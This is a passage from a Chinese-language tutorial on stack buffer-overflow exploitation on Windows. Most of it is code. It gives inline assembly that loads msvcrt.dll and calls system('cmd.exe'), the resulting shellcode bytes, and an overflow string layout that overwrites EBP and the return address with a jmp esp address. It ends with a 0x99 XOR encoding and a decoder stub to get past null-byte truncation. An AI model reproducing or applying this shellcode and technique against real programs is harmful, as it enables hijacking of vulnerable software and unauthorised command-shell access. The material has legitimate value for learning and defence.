2、利用地址覆盖,跳转并执行任意代码
这一部分开始将有些复杂,你的C/Asm混合编程技术将得到煅炼,写一个程序使程序开启一个cmd.exe原理是这样的:先用LoadLibrary("msvcrt.dll")装载vc运行时库(Runtime Library)再用GetProcAddress("system")获得system函数起址,system函数有什么作用不用我说了吧!如果不明白请参阅msdn.再用system("cmd.exe")开启cmd.exe命令控制台程序如下:
#include <stdio.h>
void main(void)
{
__asm
{//在这里模拟出一个函数体内的程序结构,我们自己分配空间来存储"msvcrt.dll","system","cmd.exe"三个字串
push ebp
push ecx
push edx
mov ebp,esp
sub esp,20h//分配32(0x20)个字节就已经够用了
xor ecx,ecx
/**************************************/
//调用LoadLibrary函数装载msvcrt.dll
mov byte ptr [ebp-0bh],'m'
mov byte ptr [ebp-0ah],'s'
mov byte ptr [ebp-09h],'v'
mov byte ptr [ebp-08h],'c'
mov byte ptr [ebp-07h],'r'
mov byte ptr [ebp-06h],'t'
mov byte ptr [ebp-05h],'.'
mov byte ptr [ebp-04h],'d'
mov byte ptr [ebp-03h],'l'
mov byte ptr [ebp-02h],'l'
mov byte ptr [ebp-01h],0
lea eax,[ebp-0bh]
push eax
mov ecx,77e6a254h;//<=----用depends获得的LoadLibrary函数地址,在我的机器上它是不变的,你学习本文时可能要修改
call ecx
mov edx,eax//保存装载后msvcrt.dll在内存中的起始地址
//调用GetProcAddress取得system函数起址
mov byte ptr [ebp-0bh],'s'
mov byte ptr [ebp-0ah],'y'
mov byte ptr [ebp-09h],'s'
mov byte ptr [ebp-08h],'t'
mov byte ptr [ebp-07h],'e'
mov byte ptr [ebp-06h],'m'
mov byte ptr [ebp-05h],0
lea eax,[ebp-0bh]
push eax
push edx
mov ecx,77e69ac1h;//<=----同样的用depends获得的,你学习本文时可能要修改它
call ecx
mov edx,eax//保存获得的system函数在内存中的起始地址
//调用system开启cmd环境
mov byte ptr [ebp-0bh],'c'
mov byte ptr [ebp-0ah],'m'
mov byte ptr [ebp-09h],'d'
mov byte ptr [ebp-08h],'.'
mov byte ptr [ebp-07h],'e'
mov byte ptr [ebp-06h],'x'
mov byte ptr [ebp-05h],'e'
mov byte ptr [ebp-04h],0
lea eax,[ebp-0bh]
push eax
call edx
add esp,4;//system函数使用C调用约定(它的原型没有使用WINAPI这样的标识符)由调用者调整堆栈
/**************************************/
mov esp,ebp
pop edx
pop ecx
pop ebp
}
}
编译、运行得到命令控制台,调入Step Into调试模式,选择"Disassembly"和"Code Bytes"得到机器代码如下:
char code[]="\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"
"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"
"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"
"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"
"\xC6\x45\xFF\x00\x8D\x45\xF5\x50\xB9\x54"//<=----注意:第一个0x00
"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"
"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"
"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"
"\x6D\xC6\x45\xFB\x00\x8D\x45\xF5\x50\x52"//<=----第二个0x00
"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"
"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"
"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"
"\x00\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个0x00
"\x8B\xE5\x5A\x59\x5D"
如果不懂在汇编语言中调用C函数如何调整参数,请参阅罗云琳大哥的相关资料。
经过第一和第二部分的分析你的头脑中应该有了一个ShellCode的雏形的了吧!在这里我们的溢出字串不再使用aaaaaaaaaab1234而是将它设计成这样:aaaaaaaaaabbddddxxxxcccccccc......的格式.前10个a和2个'b'作用不变(其实没有用,"垫脚石" 而已),中4个dddd覆盖ebp,xxxx为jmp esp指令的内存地址(它覆盖了程序原来的返回地址),后面的cccccccc......是我们上面的获得命令控制台程序的机器码(经过编码的)。
当字串溢出后overflow的ret让eip=xxxx(执行jmp esp),这时esp指向我们的命令控制台程序起址,这样就让原本应该回到主函数继续执行的程序流程改变去执行我们的代码了,这里还有一个小问题是C的字串起考贝函数会在Code字串里的第一个0x00处(共三个分别在code的第53偏移、第95偏移和第140偏移处)将我们的ShellCode截断,这样就我们希望执行的代码将不被全部执行,所以ShellCode必须经过编码将0x00异或0x99,并在溢出后动态解码,这就需要一段解码程序加在 ShellCode前面,溢出后它将首先被执行,它将Shellcode中的经过编码的0x99解码(还原)成0x00,编码我参考了ipxodi的异或 0x99方法,在本文中我使用了不同的解码算法,先将code编码成这样:
"\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"
"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"
"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"
"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"
"\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"//<=----第一个编码后的0x99,请比较未编码前的相应位置的值
"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"
"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"
"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"
"\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"//<=----第二个编码后的0x99
"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"
"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"
"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"
"\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个编码后的0x99
"\x8B\xE5\x5A\x59\x5D";
需要在它头部加上以下解码子程序:
__asm
{
mov eax,esp; //这是溢出后执行jmp esp后执行的第一条指令,esp指向当前指令地址,意义是"获得解码程序起址"
add eax,44h; //这个解码子程序有20个字节(解码程序起址+20=code起址,再加上53偏移)使eax指向第一个编码过的0x99
xor [eax],99h //解码第一个0x99,这个操作的意义是"0x99异或0x99=0x00",即还原成0x00
add eax,28h //指向第95偏移
xor [eax],99h //解码第二个0x99
add eax,2eh //指向第140偏移
xor [eax],99h //解码第三个0x99
}
